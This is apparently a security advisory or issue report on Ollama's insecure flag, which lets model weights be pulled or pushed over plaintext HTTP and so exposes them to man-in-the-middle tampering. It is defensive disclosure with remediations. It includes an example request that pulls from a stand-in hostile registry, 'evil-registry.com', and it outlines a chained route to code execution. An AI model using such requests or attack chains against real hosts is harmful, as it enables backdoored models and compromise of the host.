ollama - 💡(How to fix) Fix HIGH: Model pull/push over plaintext HTTP via Insecure flag — MITM can inject malicious model weights

CWE-319: Model Pull/Push Insecure Flag — Downloads Over Plaintext HTTP

Severity: HIGH (CVSS 7.4)

Location

server/download.go — downloadChunk() and server/images.go — PullModel(), PushModel()

// Pull with Insecure flag:
if n.ProtocolScheme == "http" && !regOpts.Insecure {
    return errInsecureProtocol
}
// If Insecure=true, HTTP is allowed

The Insecure flag in the Pull/Push API allows model data to be transferred over unencrypted HTTP:

POST /api/pull
{"model": "http://evil-registry.com/llama3", "insecure": true}

Impact

A MITM attacker on the network path can:

1. Inject malicious model weights — replace the GGUF file with a backdoored version
2. Tamper with templates — inject malicious Go template code into the model manifest
3. Replace system prompts — inject hidden instructions
4. Serve oversized blobs — cause disk exhaustion

The SHA256 digest verification only helps if the user knows the expected digest in advance. For new model pulls from HTTP registries, there is no pre-existing trust anchor.

Combined with the template injection surface (#16304) and the GGUF parser running on untrusted data (#16306), an HTTP MITM attack could achieve code execution on the Ollama host.

Remediation

1. Require HTTPS by default, with Insecure requiring explicit opt-in via environment variable (not per-request)
2. Display a prominent warning when pulling over HTTP
3. Consider requiring OLLAMA_INSECURE=true environment variable to enable insecure pulls globally
4. Add certificate pinning for known registries